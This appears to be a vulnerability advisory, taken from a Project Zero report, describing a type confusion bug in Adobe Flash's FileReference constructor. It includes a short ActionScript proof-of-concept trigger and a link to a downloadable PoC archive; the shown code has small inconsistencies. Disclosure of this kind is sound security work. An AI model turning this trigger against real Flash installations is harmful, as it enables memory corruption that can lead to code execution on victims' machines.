Adobe Flash – Type Confusion in FileReference Constructor
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=799 There is a type confusion issue in the FileReference constructor. The constructor adds several properties to the constructed object before setting the type and data. If a watch is set on one of these properties, code can be called and the object can be initialized to one with a destructor before the FileReference constructor sets the object data, leading to type confusion when the object is garbage collected. A minimal PoC is as follows: function myfunc(){ this.__proto__ = {}; this.__proto__.__constructor__ = flash.display.BitmapData; super(1000, 1000); } function mysubclass(){ this.watch("name", myfunc); _global.ASnative(2204, 200)(this); // FileReference constructor this.unwatch("name"); // let the reference free } } var a = new subclass(); a = 0; // wait for GC Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39829.zip |